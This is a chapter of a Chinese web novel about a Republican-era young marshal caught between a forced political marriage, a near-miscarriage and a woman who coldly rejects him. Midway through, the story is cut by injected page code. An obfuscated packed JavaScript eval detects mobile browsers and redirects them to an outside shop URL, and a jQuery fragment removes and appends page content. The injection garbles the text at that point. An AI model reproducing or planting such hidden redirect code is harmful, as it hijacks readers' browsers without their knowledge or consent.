许薇薇在黄包车上的眼泪还没干透，沈毅行已经在红房子西餐厅的门口跟林曼丽撕扯了整整十分钟。
“放手！别逼我抽你！”沈毅行的声音冷得像从冰窖里刮出来的风，一根一根掰开林曼丽扣在他袖口上的手指，青筋从手背一路爬到小臂，“再胡闹，我让陈铭把你送回北平。”
“你送！你送！”林曼丽的嗓子已经喊劈了，头顶那根白色的羽毛歪到一边，脸上的妆被眼泪冲出几道沟壑，像干裂的河床，“你把我送回北平，我就告诉我爹，你在申城跟那个狐狸精勾搭成奸，还逼我打胎！你看我爹饶不饶你！”
沈毅行的脸色沉得像暴风雨来临前的天。
“你肚子里的孩子，到底是谁的，自己心里清楚。你不要脸，你爹还要脸呢！”
“我说是你的，就是你的。”林曼丽忽然笑了，笑声尖利又空洞，像碎瓷片刮过铁皮，“沈毅行，你以为我傻？我早打听过了——你爹缺钱，缺枪，缺大总统的好脸色。娶我，是你沈家唯一的路。你倒好，给脸不要脸！”
沈毅行看着她，只觉得一阵反胃。
“说完了？说完了就松手。”
“我不松！”
“陈铭。”
陈铭从车里钻出来，三步并作两步跑过来。
他看了一眼林曼丽脸上的泪痕和沈毅行手腕上的红印，什么都没问。
“送林小姐回帅府。她喝多了。”
“我没喝多！沈毅行你敢——”
陈铭已经侧身做了个“请”的手势，腰微微弯着，语气客气得像在招待贵客：“林小姐，车在那边。天晚了，我送您回去。”
林曼丽咬着牙，嘴唇哆嗦了好一会儿，终于松开了手。
她走了两步，又停下来，转过头：“沈毅行，等着吧！你今天这样对我，我不会让你好过的。”
车门“砰”地关上，轮胎碾过柏油路面，发出沙哑的声响，尾灯在夜色里渐渐缩成两个红色的点。
沈毅行站在原地，摸出一根烟，点烟的手微微发抖。
火光一亮一灭，照亮了他眼底的青黑。
他想起许薇薇走的时候说的那句话——“你连你自己都做不了主，你怎么给我安稳？”
她说得对。他确实做不了主。他连一根烟都点不稳。
***
帅府的书房里，灯光白得刺眼。
林曼丽坐在太师椅上，膝盖上摊着一份被红笔圈了无数遍的婚礼方案——婚纱、场地、鲜花、乐队、宴席，每一行都有批注。
“这个婚纱，法国定制的。”她用指尖点着图片，“三天之内必须到货。我要全申城都没见过的款式。”
沈毅行靠在窗边，手里夹着那根始终没点着的烟，看着窗外灰蒙蒙的天。
院子里那棵桂花树的叶子已经落了大半，光秃秃的枝丫伸向铅灰色的天空。
“三天不可能。法国到申城，走海运要一个月。”
“那就空运。”林曼丽头都没抬，“我爹说了，我结婚的排场不能小。办得寒酸了，丢的是沈林两家的脸。”她停了一下，终于抬起头来，“而且你爹一直向大总统保证申城不差钱，坚持军事计政自己承担。现在，你倒缺钱了？”
沈毅行的手指攥紧了窗框。
“还有这个场地。”林曼丽继续翻着方案，“远东饭店太小，换到华懋饭店。那边大厅能多摆二十桌。我爹要请南京的同僚，光这一项，二十桌还不够。”
“华懋饭店的档期排到明年了。”
“那就让别人的档期挪开。你堂堂少帅，连这点事都办不了？”
沈毅行终于转过身来，眼睛里有血丝，颧骨凸起，整个人像一根绷到极限的弦。
“林曼丽，你是不是觉得，你爹手里有兵，你就可以在沈家为所欲为？你这么做，不过是仗势欺人的狗！”
“你觉得我是仗着我爹的势？”林曼丽笑了，笑容里有一种残忍的坦荡，“沈毅行，你错了。我仗的，是你沈家自己的势。你爹为什么让你娶我？因为他想要我爹手里的兵，想要大总统手里的权。我不过是一根把你们绑在一起的绳子。”她把方案合上，发出一声闷响，“你要是真把我惹急了，这条绳子一断，你沈家什么都捞不着。”
书房里安静了很久。只有墙上的老挂钟还在“咔嗒咔嗒”地走着，每一秒都像在倒计时。
沈毅行没有反驳。他反驳不了。每一句话都像钉子，钉在他早就认命的事情上。
“婚礼的事，你看着办吧。花多少钱，从司令部账上走。不用问我的意思。”
他转身朝门口走去。
“沈毅行！”林曼丽在身后喊，“你要去哪儿？我还有话没说完——”
沈毅行没有回应，门在他身后关上了。
走廊里空荡荡的，壁灯在墙上投下一团昏黄的光，把他的影子拉得很长。
他走到楼梯口时，迎面碰见了春兰，正端着一碗燕窝。
看见沈毅行，春兰连忙低下头：“少帅，老太太让奴婢给林小姐送点补品……”
“送去吧。”沈毅行侧身让开。
春兰走了两步，又停住了，声音低得几乎听不见：“少帅……老太太说，让您……别太难过了……”
沈毅行没有回答，大步下了楼。
***
当晚，西厢的争吵声几乎把屋顶掀翻了。
先是林曼丽尖利的嗓门，然后是茶杯摔碎的脆响，然后是沈毅行压抑已久的怒吼。
“你到底想怎么样？！婚也订了，场面也随你了，你还有什么不满意？！”
“你带许薇薇去西餐厅吃饭，当我是死人？！”林曼丽的声音在颤抖，“全申城都在看我的笑话，说我还没过门就守了活寡！”
“我和谁吃饭，轮不到你管！”
“轮不到我管？”她抄起桌上的胭脂盒砸了过去，磕在门框上碎了，粉末扬了一地，“沈毅行，你给我搞清楚——你就是一条被拴住的狗！你连自己的尾巴都做不了主！”
又是一阵摔东西的声响。
沈毅行觉得太阳穴突突直跳，像有人拿着锥子在往里面钻。
他转身走到窗边，推开窗。夜风灌进来，带着桂花树残留的香气和江水的腥味。
他深吸了一口气，想把这口气压下去。
然后他听见身后传来玻璃碎裂的声音，以及一声尖叫——不是愤怒，是惊恐。
他猛地转过头。
林曼丽倒在地上，蜷缩着身子，手捂着肚子，脸色白得像刚从水里捞出来的纸。身边还有一个摔碎的烟灰缸。
她的身下，一滩暗红色的血迹正在慢慢洇开，边缘一点一点向外扩张，像一朵无声盛开的花。
沈毅行的血液在那一瞬间凉了。
“叫医生！快叫医生！”
他冲过去想扶她，手指刚碰到她的肩膀，她就像被烫到一样缩了一下。
“别碰我！”林曼丽的声音又细又抖，“别碰我——”
她的眼睛里没有愤怒，只有恐惧。
沈毅行第一次在她脸上看到这种表情。
“快来人！”他回头对着门口大喊，“叫救护车！立刻！”
佣人们慌乱地跑开，脚步声在走廊里咚咚作响。
林曼丽蜷在地上，一只手仍然捂着腹部，另一只手死死攥着沈毅行的袖口。指甲掐进他的皮肉里，但他没有抽开。
“你怎么会倒下的？”沈毅行皱着眉头问。
“还不是怪你这个王八蛋！”林曼丽咬牙切齿，脸色像纸一样白，“就算我砸你，你也不该躲开！被我砸一下又怎么了？要是我有什么闪失，我爹饶不了你！”
***
陆军医院的急救室走廊，白墙，白灯，白的刺眼。消毒水的味道钻进鼻腔，混着药水味和一丝若有若无的血腥气。
沈毅行站在走廊尽头，靠着墙，一支接一支地抽烟。烟灰积了长长一截，他忘了弹。
陈铭站在他旁边，不说话，也不敢问。
急救室的门推开了。医生走出来，摘下口罩。
他看了一眼沈毅行，又看了一眼地上的烟蒂，斟酌着开口：“少帅，孩子保住了。但林小姐需要卧床休养，至少两周。要保持心情舒畅，不能情绪激动。”
沈毅行没说话。
“病人之前流产次数太多……子宫壁已经很薄了。这次能保住，已经算侥幸。以后如果再有类似情况——”医生顿了一下，没有说下去。
沈毅行把烟头摁灭在墙上，留下一道焦黑的痕迹。
“知道了。”
他转身走向走廊尽头，走了两步，停下来。
“给林宗元发电报。照实说，她女儿流产次数太多，陆军医院也束手无策。问他打算怎么办。是接回北平养胎，还是留在申城。”
陈铭愣了一下：“少帅……这么说合适吗？”
“有什么不合适？”沈毅行没有回头，“问题又不在沈家。林宗元知道我的意思。”
***
电报发出的第三天，林曼丽的哥哥林曼云来了。
不是一个人来的，是带着一队人来的——一百多号兵，把司令部围了个水泄不通。
卡车停在门口，车灯没熄，引擎在空转，像一群随时会扑上来的野兽。
林曼云走进办公室的时候，沈毅行正站在窗前。他转过身，看见林曼云把军帽摘下来放在桌上，帽檐对着他。
“林大公子……”沈毅行脸上挤出一个刻意的笑容。
林曼云并不回应这份客套，手一挥，打断了沈毅行的话。
“你沈家着实不给面子啊！我爹说了，我妹妹好好的来，现在受了伤，你们沈家得负全责。要么十天内办一场盛大婚礼，要么我爹那三个师，直接调回南京。”
沈毅行攥紧了背后的窗框。
“婚礼一直在筹备，只是十天——”
“我爹听到的消息可不是这样的。”林曼云打断他，“听说你跟前女友藕断丝连，害得我妹妹情绪波动。她因为听说你们的奸情才动了胎气！”
沈毅行的嘴唇抿成一条线。
“我们只是吃了顿饭——”
“不管怎么回事，我妹妹都是受害方！”林曼云竖起一根手指，“十天之内，婚礼必须举行。排场要盛大，宾客要隆重。少一条——”他拖长了尾音，“那三个师，你就不用想了。”
林曼云转过身，走到门口，又停住，侧过头：“沈少帅，我爹还说了，我家的女儿不是非要嫁给你的。你想清楚。”
门关上了。桌上的茶杯已经凉透，茶汤上浮着一层油光。窗外法租界的钟楼在暮色里若隐若现，钟声沉闷地敲了十下。
十天。
只有十天了。
***
那天晚上，沈毅行没有回帅府。
他一个人坐在司令部旁边的小酒馆里，面前摆着一瓶已经空了三分之二的威士忌。
店里的灯光昏黄，几个客人散坐在角落里，没人抬头看他——或者没人敢。
他又倒了一杯，酒液在玻璃杯里晃了两圈，琥珀色的。一口闷了，苦味从喉咙一路烧到胃里。
但他已经尝不出苦了。脑子里的几件事翻来覆去，像磨盘一样碾压着他——
许薇薇的凤眼，冷得像冬天的湖水。
林曼丽苍白的脸，和那滩暗红色的血迹。
林曼云伸出的手指，十天。
还有父亲那句在耳边响了无数遍的话：“枪杆子是爹，钱是娘。”
许薇薇说得对——他的世界里，没有一样是他自己做主的。
陈铭找到他的时候，他正趴在桌上，手还攥着那只空酒杯，手背上的青筋一根一根地凸着。
“少帅？少帅？”
沈毅行抬起头。眼睛通红，满身酒气，领口皱成一团，下巴上冒出一层青黑色的胡茬。
“你怎么在这儿？”
“属下找您好久了。”陈铭犹豫了一下，“少帅，您喝了不少，我送您回司令部吧？”
沈毅行摆了摆手，想站起来，脚下却像踩了棉花，踉跄了一步，差点撞在桌角上。陈铭赶紧扶住他。
“少帅，小心。”
“给老子找个女人来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629189|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈毅行抓住他的胳膊，声音沙哑得像砂纸擦过木头，“漂亮点的，屁股大的。老子不想一个人待着。”
陈铭愣在原地。
“少帅，您醉了——”
“醉？”沈毅行笑了，笑声干哑，像什么东西碎在里面，“老子清醒得很。清醒得不能再清醒了。”
他盯着陈铭，眼睛里没有光，只有一片浑浊的、被酒精泡透了的黑。
“快点去！这是命令！”
陈铭看着他，好一会儿，终于点了点头。
“是。”
***
第二天清晨，司令部的走廊里静悄悄的。晨光从窗户斜斜地照进来，在地板上投下一块一块金色的光斑，灰尘在光线里浮动，像无数细小的星星。
许薇薇背着相机，准时出现在司令部门口。镜头盖摘了一半，露出黑亮的玻璃片，在晨光里反射出一小圈光晕。
她在门厅站了一会儿，等陈铭来接。
等了五分钟，没人来。
她皱了皱眉，自己往里走。走廊里空荡荡的，只有勤务兵在埋头拖地，水渍在光线下泛着湿漉漉的光。
“请问，陈副官在吗？”
“陈副官？他昨晚值班，大概在休息吧。”
许薇薇点了点头，没有多问。她走到沈毅行办公室门口，敲了敲门。
没人应。
她又敲了一下。
门是虚掩着的，被她的指节一碰，无声地开了一条缝。
一股浓重的气味从门缝里挤出来——威士忌的烈、香烟的苦，还有一股甜腻的、刺鼻的香水味。
她的手指在门板上顿了一下。
就那么几秒钟，她完全可以转身走开。但她没有。
她推开门，光线从身后的走廊涌进去，照亮了半个房间。
办公室很暗，窗帘拉着，只有一线光从缝隙里挤进来，照在茶几上那两只空酒杯上。一只烟灰缸里堆满了烟蒂，有的还留着口红的印子。
然后她看见了那个躺在沙发上的女人。年轻，卷发散乱，肩带滑到手肘处，露出圆润的肩头。眼皮上还沾着亮片，在昏暗中闪着细碎的光。
女人翻了个身，嘟囔了一句含糊不清的梦话，被子从肩上滑落，露出一截光裸的手臂。
许薇薇站在原地，手扶着门框。她能感觉到自己的心跳——不是快，是沉，一下一下坠下去，像石头沉进深水里。
她关上了门。动作很轻，门锁“咔嗒”一声合拢，在安静的走廊里格外清晰。
这时，沈毅行从走廊尽头的洗手间出来。衬衫皱巴巴的，领口敞着，头发乱糟糟地支棱着，眼底全是青黑。
看见许薇薇从办公室方向走来，他的脚步停住了，眼睛因为惊讶瞪得老大，原本挂在脸上的惺忪睡意一下子全没了。
“你……你……怎么在这儿？”
“我来拍晨练的照片。”许薇薇语气很平，“陈副官没来，我就自己上来了。不过，好像来得不是时候。”她看了一眼身后的门。
沈毅行的目光定在她脸上。
他想从她表情里找到些什么——愤怒、伤心、哪怕一丝裂痕。但什么都没有。
“事情不是你想的那样！”他的声音紧得像被什么东西勒住了，“我昨晚喝多了，不知道她怎么来的——”
“不用跟我解释。”她笑了笑，“这是你的私事，跟我没关系。我只是来拍照的。”
“什么叫跟你没关系？”沈毅行上前一步，声音里带着压不住的火，“我跟别的女人睡觉，你不生气？”
“为什么要生气？”她歪了歪头，像是在思考一个无关紧要的问题，“我们只是上下级。你跟谁在一起，跟谁做什么，都是你的自由。我管不着。”
许薇薇顿了一下，又补了一句：“如果你担心我向报馆爆料，放心，我不会的。”
沈毅行觉得自己被扇了一巴掌。不是那种肉碰肉的，是那种看不见摸不着、但比任何巴掌都响亮的。
他宁可跟她大吵一架，至少说明她还在意。可她只是站在那里，像看一个无关紧要的陌生人。
“我跟别人睡觉……我都出轨了，你真的一点不在乎？”
“不在乎，我不在乎你跟谁睡。并不存在什么出轨，因为从你生日宴会那天开始，我们就没有关系了。桥归桥，路归路。你走你的阳关道，我过我的独木桥。”
她笑了笑，微微侧过头：“之前就讲定了的，假扮情侣而已。假的，从头到尾都是假的。你不用当真，更不用考虑我的情绪。”
许薇薇耸耸肩，摊开手，“毕竟，我是真的不在乎。”
沈毅行站在那里，觉得自己像被人扒光了衣服扔在冬天的街上。冷，每一寸皮肤都暴露在空气中。
办公室里的舞女被吵醒了，光着脚跑出来，手里抓着裙子，脸上还带着残妆和睡痕。
她看见许薇薇，愣了一下，又看了看沈毅行，缩着脖子贴着墙根溜走了。
沈毅行的目光没有追着那个舞女，而是落在走廊尽头那片被阳光照亮的窗台上。灰尘在光线里浮动，像无数细小的星星。
“你……”沈毅行垂下头，无力地呢喃着。
“少帅今天有点忙，我就不打扰了。”许薇薇转过身，朝楼梯口走去，走了两步，又停下来，没有回头，“晨练的照片，改天再拍吧。。”
她的脚步声在走廊里渐渐远去，越来越轻，像潮水退去后沙滩上的细沙。
沈毅行站在空荡荡的走廊里，晨光从他身后照进来，把他的影子投在前面的地板上，拉得很长，很长。
他想起她说的那句话——“我们之间只是假扮。”
假的。
从头到尾都是假的。
他慢慢蹲下来，把脸埋进手掌里。指缝间没有声音，只有肩膀在几乎不可察地发颤。
走廊尽头，法租界的钟楼敲了九下。钟声穿过晨雾，从敞开的窗户里涌进来，沉闷地回荡在空荡荡的走廊里，一声接一声，像倒计时。
十天。
阳光照在他脚边，一寸一寸地往前爬，但始终没有落在他身上。